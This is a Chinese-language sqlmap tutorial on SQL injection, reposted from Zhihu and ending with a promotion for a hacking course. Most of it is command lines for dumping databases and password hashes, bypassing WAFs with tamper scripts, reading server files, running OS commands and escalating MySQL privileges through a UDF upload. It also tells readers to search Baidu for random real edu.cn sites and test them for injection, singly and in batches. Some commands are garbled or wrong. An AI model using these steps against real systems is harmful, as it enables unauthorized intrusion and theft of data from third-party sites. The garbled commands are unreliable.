【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了 |
您所在的位置:网站首页 › sql注入类型主要包括 › 【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了 |
一、sqlmap简介 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等 Sqlmap采用了以下5种独特的SQL注入技术 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中联合查询注入,在可以使用Union的情况下注入堆查询注入,可以同时执行多条语句时的注入Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。 sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具! 常用指令sqlmap -r http.txt #http.txt是我们抓取的http的请求包二、安装1、安装git apt-get install git 2、克隆sqlmap git clone git://http://github.com/sqlmapproject/sqlmap.git 3、测试sqlmap是否正常工作,前提要安装python2:apt install python2 cd sqlmap/ ./sqlmap.py -h 查看sqlmap的命令字帮助手册 -u "url" #检测注入点三、实际利用检测和利用SQL注入1.手工判断是否存在漏洞 对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。 原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1 构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2 如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。 2. sqlmap自动检测 检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“--batch”命令来自动答复和判断。 3. 寻找和判断实例 通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为http://edu.cn,如图1所示。随机打开一个网页搜索结果,如图所示,如果能够正常访问,则复制该URL地址 搜索目标 测试网页能否正常访问 将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞 检测URL地址是否存在漏洞 4. 批量检测 将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下 批量整理目标地址 直接连接数据库 sqlmap.py -d"mysql://admin:[email protected]:3306/testdb" -f --banner --dbs--users数据库相关操作 1.列数据库信息:--dbs 2.web当前使用的数据库--current-db 3.web数据库使用账户--current-user 4.列出sqlserver所有用户 --users 5.数据库账户与密码 --passwords 6.指定库名列出所有表 -D database --tables -D:指定数据库名称 7.指定库名表名列出所有字段 -D antian365-T admin --columns -T:指定要列出字段的表 8.指定库名表名字段dump出指定字段 -D secbang_com -T admin -C id,password ,username --dump -D antian365 -T userb -C"email,Username,userpassword" --dump 可加双引号,也可不加双引号。 9.导出多少条数据 -D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump 参数: --start:指定开始的行 --stop:指定结束的行 此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容 四、SQLMAP实用技巧 1. mysql的注释方法进行绕过WAF进行SQL注入 (1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word,"/*!0%s" % word) 为: return match.group().replace(word,"/*!50000%s*/" % word) (2)修改C:\Python27\sqlmap\xml\queries.xml 为: (3)使用sqlmap进行注入测试 sqlmap.py -u"http://**.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py" 其它绕过waf脚本方法: sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 (4)tamper目录下文件具体含义: space2comment.py用/**/代替空格2. URL重写SQL注入测试value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/" 3. 列举并破解密码哈希值当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1 4. 获取表中的数据个数sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb 5.对网站http://secbang.com进行漏洞爬去sqlmap.py -u "http://www.secbang.com"--batch --crawl=3 6.基于布尔SQL注入预估时间sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b --eta 7.使用hex避免字符编码导致数据丢失sqlmap.py -u "http://192.168.48.130/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors 8.模拟测试手机环境站点python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile 9.智能判断测试sqlmap.py -u "http://www.antian365.com/info.php?id=1"--batch --smart 10.结合burpsuite进行注入(1)burpsuite抓包,需要设置burpsuite记录请求日志 sqlmap.py -r burpsuite抓包.txt (2)指定表单注入 sqlmap.py -u URL --data“username=a&password=a” 11.sqlmap自动填写表单注入自动填写表单: sqlmap.py -u URL --forms12.读取linux下文件sqlmap.py-u "url" --file /etc/password 13.延时注入sqlmap.py -u URL --technique -T--current-user 14. sqlmap 结合burpsuite进行post注入结合burpsuite来使用sqlmap: (1)浏览器打开目标地址http://www.antian365.com (2)配置burp代理(127.0.0.1:8080)以拦截请求 (3)点击登录表单的submit按钮 (4)Burp会拦截到了我们的登录POST请求 (5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下 (6)运行sqlmap并使用如下命令: ./sqlmap.py -r post.txt -p tfUPass15.sqlmap cookies注入sqlmap.py -u "http://127.0.0.1/base.PHP"–cookies "id=1" –dbs –level 2 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入: sqlmap.py -u 注入点URL --cookie"id=xx" --level 3 16.mysql提权(1)连接mysql数据打开一个交互shell: sqlmap.py -dmysql://root:[email protected]:3306/test --sql-shell(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录: sqlmap.py -dmysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll17.执行shell命令sqlmap.py -u "url" –os-cmd="netuser" /*执行net user命令*/18.延时注入 sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/原文作者:黑客入门到精通原文链接:黑客入门:【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了转载出处:知乎零基础入门对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。 同时每个成长路线对应的板块都有配套的视频提供: 因篇幅有限,仅展示部分资料朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码免费领取(如遇扫码问题,可以在评论区留言领取哦)~ 视频配套资料&国内外网安书籍、文档&工具当然了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。 朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码免费领取(如遇扫码问题,可以在评论区留言领取哦)~
|
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |